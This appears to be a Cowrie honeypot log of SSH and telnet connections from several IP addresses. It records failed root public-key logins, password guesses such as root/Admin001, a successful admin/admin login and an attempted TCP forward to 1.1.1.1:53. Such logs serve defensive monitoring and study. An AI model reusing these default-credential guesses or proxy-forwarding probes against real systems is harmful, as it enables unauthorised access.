{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:e6:73:5c:20:c1:41:ec:ce:d1:77:23:a6:9c:7b:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYsRXbKbAZAX2LqC2jPDXOMgxUrQgkuoSBoi2M9B3+FlPoDIjQ9zv8Ea97+vLt0mKey5hScobMXMZTS/C56yupHhhZokGyW1pUuzk9BDq1QjW0TmIkPWSa0x9Lx5nBkoPSWQFz3fO0vuPTofBw92mBeiToUjVLfBJmywqACP7hezkP3FC9WJbEF2Akmubxf3mHUqQ5oSGJ+dLsOQ2P+M/1Jx69rA1xXbaI44UddELCULNC+PLnJY8dYHua8m8s263szaq57uhaUIgKo+pZvY2pqEWhBWtzxx9A9fc58pFn+KI+wW3G+Ze+xV+WbH9MjzCpK8plU6RTIjbkWIteCav","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:e6:73:5c:20:c1:41:ec:ce:d1:77:23:a6:9c:7b:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:56.905084Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:e6:73:5c:20:c1:41:ec:ce:d1:77:23:a6:9c:7b:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYsRXbKbAZAX2LqC2jPDXOMgxUrQgkuoSBoi2M9B3+FlPoDIjQ9zv8Ea97+vLt0mKey5hScobMXMZTS/C56yupHhhZokGyW1pUuzk9BDq1QjW0TmIkPWSa0x9Lx5nBkoPSWQFz3fO0vuPTofBw92mBeiToUjVLfBJmywqACP7hezkP3FC9WJbEF2Akmubxf3mHUqQ5oSGJ+dLsOQ2P+M/1Jx69rA1xXbaI44UddELCULNC+PLnJY8dYHua8m8s263szaq57uhaUIgKo+pZvY2pqEWhBWtzxx9A9fc58pFn+KI+wW3G+Ze+xV+WbH9MjzCpK8plU6RTIjbkWIteCav","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:56.908310Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:d0:5b:9f:c3:bf:cc:39:b0:4f:6d:b5:06:93:32:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwAre6NMl6q2+7JxA4FitW5OsweneOrKl7kZWA0dZiwK+BduhgjB2ln1id6+c+GRSNz3xPiN2QenlXGRbM7/VxFo2reSTe2VA/0sBSSHBxMtqjpNKfKm3Ix4oMFy8oUutW8C3R3Vn8yZCVw3Xr5JP4HAJh8pXAbBsqh/Oe0bzJEgUW/qhUpyIBOBzckZQxRXsbID3/DZ4jZtakWcLSbvly6L7tBmkeKMSl+dwdQ2GyRWm0vJuPs+q6gCisfh1E1JPUhbq3jccPc8M1CuxuUDBr+OZyTTHygFnQzXOeipy5JMJDJewgd7xmWDtfaJiBxfD+sRWkKfdKTU6yg2j7OZLZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:d0:5b:9f:c3:bf:cc:39:b0:4f:6d:b5:06:93:32:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.129462Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:d0:5b:9f:c3:bf:cc:39:b0:4f:6d:b5:06:93:32:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwAre6NMl6q2+7JxA4FitW5OsweneOrKl7kZWA0dZiwK+BduhgjB2ln1id6+c+GRSNz3xPiN2QenlXGRbM7/VxFo2reSTe2VA/0sBSSHBxMtqjpNKfKm3Ix4oMFy8oUutW8C3R3Vn8yZCVw3Xr5JP4HAJh8pXAbBsqh/Oe0bzJEgUW/qhUpyIBOBzckZQxRXsbID3/DZ4jZtakWcLSbvly6L7tBmkeKMSl+dwdQ2GyRWm0vJuPs+q6gCisfh1E1JPUhbq3jccPc8M1CuxuUDBr+OZyTTHygFnQzXOeipy5JMJDJewgd7xmWDtfaJiBxfD+sRWkKfdKTU6yg2j7OZLZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.132849Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:f3:b3:dc:73:65:9f:17:e6:0f:ae:e6:8a:92:4a:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7u4YsH7ZuH0oog2RhbOxs/B4ZzWA8QDRczR0eycJ5OixMYTfilRcr+Tnh6lPUeXdjg6HOTZCI0COnlY4QYXlob8dfiOK/+8BX9Gvw/ctH8mn0046zbHRuVDHWERJc81S4SdT18W3CTKIeAfpCwxEBp7H700WuIZNBaxnRDRGD59y7bckbL0QrAFZNS5VwdV6IQ9YL3VKUD/AX8ia5ASBy0nGpo6r/SRRPiwYKMTjcLC/nKXjvNuqmPYGJf4+u4NELi7FEi+d3s3Yx+yoAm4LaAZDX+SpwrEsJ8sHGQ8NR6rxfJ+3FxuplX9ars1AONoyNI8bBmyTBRNoeTAlsbNmURTnjCTmJRIy5otf4HF3kqXvCnZ2OxlR+8rFEv73Zw5aciM0z3CeBkJoFKtI6CQeR3gfl0TgA4cGXbIj8WVPVw+TR0GxdPMzEmaZn4CvYyjZ1kwidmWqRO2ATpAHjTa/vCzw0efOHv51WlsBDX5bgts0UZP9HU75kJFwJoM+IADfgDGa3zggWD/jpMptRfvRyfUbvQgjcnJey2A8vX7jqbQ4zKwOiyLS0PpZ9eE3eP10qS6Xy76//1Y3dPwqa/VQaOvLbQuBU6YrPuIKsnhZIcV43+ced2X5OrATXFeQIK9rPPHZkNJPE2dicGQxToJ1nqMt0Z+5b8D3v17vzfG2k0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:f3:b3:dc:73:65:9f:17:e6:0f:ae:e6:8a:92:4a:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.350864Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:f3:b3:dc:73:65:9f:17:e6:0f:ae:e6:8a:92:4a:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7u4YsH7ZuH0oog2RhbOxs/B4ZzWA8QDRczR0eycJ5OixMYTfilRcr+Tnh6lPUeXdjg6HOTZCI0COnlY4QYXlob8dfiOK/+8BX9Gvw/ctH8mn0046zbHRuVDHWERJc81S4SdT18W3CTKIeAfpCwxEBp7H700WuIZNBaxnRDRGD59y7bckbL0QrAFZNS5VwdV6IQ9YL3VKUD/AX8ia5ASBy0nGpo6r/SRRPiwYKMTjcLC/nKXjvNuqmPYGJf4+u4NELi7FEi+d3s3Yx+yoAm4LaAZDX+SpwrEsJ8sHGQ8NR6rxfJ+3FxuplX9ars1AONoyNI8bBmyTBRNoeTAlsbNmURTnjCTmJRIy5otf4HF3kqXvCnZ2OxlR+8rFEv73Zw5aciM0z3CeBkJoFKtI6CQeR3gfl0TgA4cGXbIj8WVPVw+TR0GxdPMzEmaZn4CvYyjZ1kwidmWqRO2ATpAHjTa/vCzw0efOHv51WlsBDX5bgts0UZP9HU75kJFwJoM+IADfgDGa3zggWD/jpMptRfvRyfUbvQgjcnJey2A8vX7jqbQ4zKwOiyLS0PpZ9eE3eP10qS6Xy76//1Y3dPwqa/VQaOvLbQuBU6YrPuIKsnhZIcV43+ced2X5OrATXFeQIK9rPPHZkNJPE2dicGQxToJ1nqMt0Z+5b8D3v17vzfG2k0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.353983Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:a9:fd:f7:90:f2:1b:47:39:35:13:b0:1d:ff:bb:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAvkaHnE6iNXLgYwrXqEymhceajX0oZNo2MWU2F6Iz0R5lFX5gzu3KHq/Zfyq3DIomEK+ZvxEzw0GgcFoqRm3ZsMVDXnnvbeOgbZW0SWrsF386BxX1NY/04jnRdsa6oXjkPybVx2t3GRNrVqI6bXZkUaf+kjtSaC8MOm3jp01vXJMkejNZ3mqP2wKcGhrqBFOZ5LWvAWmoQfO3k3IRd7qtDU7rl+nl1HqOy//0pdhmJcdDZLVJngT2zGEp4zFO0GbB6xSdzYwc0eBecLWlKsO0AtkAw0OcaJqynMjgsHUveABqgSbEXpFUDQoEf+8z6/odLTe/K1GWHD2KHvHBpscmXALEiIDodIE5EYxUMcLmhMaNUY5y+4tOlMCWxuvATlb82lCZbRNaGn/dgoWnxOI20qkVrXvtTDaFZlzHHMvDOWZIx5oWc3zljGw53kiz+qR64c41rZOEDk0O1dn1RZhbejcPWmQSiD9dciDnYhzb/Dc195AHaRheyWGhFl3D6ERUqO7u7/k+x9utLZBEr3j+2kfRiPmAgHXGD8JCQ0dNkBUhFiK6hGrhpMctILNi4dGmUxCFum70BnvN7JSeDlfUOTJdWelcRxg7StZl9c98ox4A5fgEvSk9s7J38n9zd+NcGurtOa62aj0upFJ9Is7N1fCE3LPGuxy+WeMHG7FW8Hs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:a9:fd:f7:90:f2:1b:47:39:35:13:b0:1d:ff:bb:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.572546Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:a9:fd:f7:90:f2:1b:47:39:35:13:b0:1d:ff:bb:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAvkaHnE6iNXLgYwrXqEymhceajX0oZNo2MWU2F6Iz0R5lFX5gzu3KHq/Zfyq3DIomEK+ZvxEzw0GgcFoqRm3ZsMVDXnnvbeOgbZW0SWrsF386BxX1NY/04jnRdsa6oXjkPybVx2t3GRNrVqI6bXZkUaf+kjtSaC8MOm3jp01vXJMkejNZ3mqP2wKcGhrqBFOZ5LWvAWmoQfO3k3IRd7qtDU7rl+nl1HqOy//0pdhmJcdDZLVJngT2zGEp4zFO0GbB6xSdzYwc0eBecLWlKsO0AtkAw0OcaJqynMjgsHUveABqgSbEXpFUDQoEf+8z6/odLTe/K1GWHD2KHvHBpscmXALEiIDodIE5EYxUMcLmhMaNUY5y+4tOlMCWxuvATlb82lCZbRNaGn/dgoWnxOI20qkVrXvtTDaFZlzHHMvDOWZIx5oWc3zljGw53kiz+qR64c41rZOEDk0O1dn1RZhbejcPWmQSiD9dciDnYhzb/Dc195AHaRheyWGhFl3D6ERUqO7u7/k+x9utLZBEr3j+2kfRiPmAgHXGD8JCQ0dNkBUhFiK6hGrhpMctILNi4dGmUxCFum70BnvN7JSeDlfUOTJdWelcRxg7StZl9c98ox4A5fgEvSk9s7J38n9zd+NcGurtOa62aj0upFJ9Is7N1fCE3LPGuxy+WeMHG7FW8Hs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.575242Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.580634Z","src_ip":"27.71.230.31","session":"7aeba4d7bc77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:57.793231Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47838,"dst_ip":"10.17.0.5","dst_port":22,"session":"86793c859bff","protocol":"ssh","message":"New connection: 80.94.92.184:47838 (10.17.0.5:22) [session: 86793c859bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:35:04.150732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:35:04.504069Z","src_ip":"80.94.92.184","session":"86793c859bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:35:04.507642Z","src_ip":"80.94.92.184","session":"86793c859bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:35:06.892849Z","src_ip":"80.94.92.184","session":"86793c859bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:35:08.433844Z","src_ip":"80.94.92.184","session":"86793c859bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40704,"dst_ip":"159.203.135.109","dst_port":22,"session":"a441bc28b421","protocol":"ssh","message":"New connection: 27.71.230.31:40704 (159.203.135.109:22) [session: a441bc28b421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:36:13.740112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:36:13.754428Z","src_ip":"27.71.230.31","session":"a441bc28b421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:36:15.667917Z","src_ip":"27.71.230.31","session":"a441bc28b421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin001","message":"login attempt [root/Admin001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:36:22.290766Z","src_ip":"27.71.230.31","session":"a441bc28b421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:36:23.853264Z","src_ip":"27.71.230.31","session":"a441bc28b421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.151.149.255","src_port":37296,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5a34fdaa3e","protocol":"telnet","message":"New connection: 129.151.149.255:37296 (159.203.135.109:23) [session: cd5a34fdaa3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:36:49.533806Z"}
{"eventid":"cowrie.session.closed","duration":30.579694032669067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:37:20.113331Z","src_ip":"129.151.149.255","session":"cd5a34fdaa3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"0705e16284e3","protocol":"telnet","message":"New connection: 128.199.209.169:42568 (159.203.135.109:23) [session: 0705e16284e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:38:14.067131Z"}
{"eventid":"cowrie.session.closed","duration":3.148470878601074,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:38:17.215460Z","src_ip":"128.199.209.169","session":"0705e16284e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54438,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05d473e6f10","protocol":"telnet","message":"New connection: 107.6.151.170:54438 (159.203.135.109:23) [session: b05d473e6f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:13.773603Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42700,"dst_ip":"10.17.0.5","dst_port":22,"session":"bded159b496a","protocol":"ssh","message":"New connection: 87.251.64.176:42700 (10.17.0.5:22) [session: bded159b496a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:19.456647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:19.461143Z","src_ip":"87.251.64.176","session":"bded159b496a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:19.558127Z","src_ip":"87.251.64.176","session":"bded159b496a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:19.852621Z","src_ip":"87.251.64.176","session":"bded159b496a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:19.951837Z","session":"bded159b496a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:20.052029Z","src_ip":"87.251.64.176","session":"bded159b496a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:20.150070Z","src_ip":"87.251.64.176","session":"bded159b496a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50600,"dst_ip":"10.17.0.5","dst_port":22,"session":"568a45c8db08","protocol":"ssh","message":"New connection: 80.94.92.184:50600 (10.17.0.5:22) [session: 568a45c8db08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:32.572059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:32.599383Z","src_ip":"80.94.92.184","session":"568a45c8db08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:32.718022Z","src_ip":"80.94.92.184","session":"568a45c8db08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:39:34.983948Z","src_ip":"80.94.92.184","session":"568a45c8db08","protocol":"ssh"}
